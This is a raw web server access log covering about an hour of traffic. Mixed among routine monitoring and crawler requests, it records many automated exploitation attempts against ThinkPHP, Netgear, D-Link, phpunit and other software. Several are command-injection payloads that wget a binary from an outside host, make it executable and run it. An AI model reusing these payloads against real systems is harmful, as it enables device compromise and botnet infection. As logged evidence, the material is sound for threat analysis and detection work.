2.134.199.235 - - [08/Feb/2020:22:15:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
198.211.10.10 - - [08/Feb/2020:22:15:18 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [08/Feb/2020:22:15:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:22:16:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.211.10.10 - - [08/Feb/2020:22:17:14 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [08/Feb/2020:22:17:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:22:18:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.46.133.25 - - [08/Feb/2020:22:19:14 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [08/Feb/2020:22:19:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.85.11 - - [08/Feb/2020:22:20:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
198.211.10.10 - - [08/Feb/2020:22:20:46 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [08/Feb/2020:22:20:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.211.10.10 - - [08/Feb/2020:22:20:58 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
31.148.29.173 - - [08/Feb/2020:22:20:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
198.211.10.10 - - [08/Feb/2020:22:21:25 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [08/Feb/2020:22:21:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.23.173.198 - - [08/Feb/2020:22:22:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [08/Feb/2020:22:22:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:22:23:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.135.90.61 - - [08/Feb/2020:22:23:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:22:24:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.25.232 - - [08/Feb/2020:22:25:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:22:25:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.211.10.10 - - [08/Feb/2020:22:26:04 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [08/Feb/2020:22:26:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:22:27:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:22:28:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:22:29:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
179.189.41.244 - - [08/Feb/2020:22:30:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:22:30:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:22:31:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.20.86.181 - - [08/Feb/2020:22:32:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:22:32:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.231.64.170 - - [08/Feb/2020:22:33:09 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
35.231.64.170 - - [08/Feb/2020:22:33:10 +0100] "GET / HTTP/1.0" 200 1229 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
111.42.102.89 - - [08/Feb/2020:22:33:17 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://111.42.102.89:46181/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
41.79.95.100 - - [08/Feb/2020:22:33:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [08/Feb/2020:22:33:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.154.227.183 - - [08/Feb/2020:22:34:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:22:34:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.23.58.202 - - [08/Feb/2020:22:35:12 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [08/Feb/2020:22:35:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [08/Feb/2020:22:36:18 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:22:36:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.202.66.21 - - [08/Feb/2020:22:37:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.172.164 - - [08/Feb/2020:22:37:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:22:37:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [08/Feb/2020:22:37:49 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [08/Feb/2020:22:38:37 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [08/Feb/2020:22:38:46 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:22:38:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [08/Feb/2020:22:39:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:22:39:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.242.89 - - [08/Feb/2020:22:40:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:22:40:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:22:41:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:22:42:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:22:43:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:22:44:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:22:45:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:22:46:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:22:47:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.148.29.173 - - [08/Feb/2020:22:48:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:22:48:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.73.154 - - [08/Feb/2020:22:48:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:22:49:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.193.59.78 - - [08/Feb/2020:22:49:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:22:50:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:22:51:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:22:52:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:22:53:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [08/Feb/2020:22:54:22 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
95.216.96.254 - - [08/Feb/2020:22:54:24 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)"
95.216.96.254 - - [08/Feb/2020:22:54:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)"
212.91.246.72 - - [08/Feb/2020:22:54:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:22:55:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.246.149.204 - - [08/Feb/2020:22:56:36 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [08/Feb/2020:22:56:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:22:57:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
116.111.84.246 - - [08/Feb/2020:22:58:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:22:58:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:22:59:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:23:00:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:23:01:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.164.135 - - [08/Feb/2020:23:02:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:23:02:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.223.46 - - [08/Feb/2020:23:03:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
189.78.60.228 - - [08/Feb/2020:23:03:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:23:03:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.180.208.154 - - [08/Feb/2020:23:03:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [08/Feb/2020:23:03:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [08/Feb/2020:23:03:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [08/Feb/2020:23:04:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [08/Feb/2020:23:04:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:23:04:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:23:05:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:23:06:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:23:07:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.42.195.84 - - [08/Feb/2020:23:08:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
151.73.124.152 - - [08/Feb/2020:23:08:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
151.73.124.152 - - [08/Feb/2020:23:08:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
185.23.175.64 - - [08/Feb/2020:23:08:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Python/3.6 aiohttp/3.5.4"
212.91.246.72 - - [08/Feb/2020:23:08:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [08/Feb/2020:23:08:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [08/Feb/2020:23:08:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [08/Feb/2020:23:09:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [08/Feb/2020:23:09:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [08/Feb/2020:23:09:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
210.7.13.166 - - [08/Feb/2020:23:09:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:23:09:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [08/Feb/2020:23:10:01 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
120.253.197.249 - - [08/Feb/2020:23:10:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:23:10:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.221.164.111 - - [08/Feb/2020:23:11:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [08/Feb/2020:23:11:32 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:23:11:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [08/Feb/2020:23:12:11 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [08/Feb/2020:23:12:11 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [08/Feb/2020:23:12:20 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [08/Feb/2020:23:12:29 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
60.191.66.222 - - [08/Feb/2020:23:12:31 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
60.191.66.222 - - [08/Feb/2020:23:12:31 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
60.191.66.222 - - [08/Feb/2020:23:12:31 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
60.191.66.222 - - [08/Feb/2020:23:12:31 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
60.191.66.222 - - [08/Feb/2020:23:12:31 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
60.191.66.222 - - [08/Feb/2020:23:12:31 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
60.191.66.222 - - [08/Feb/2020:23:12:31 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
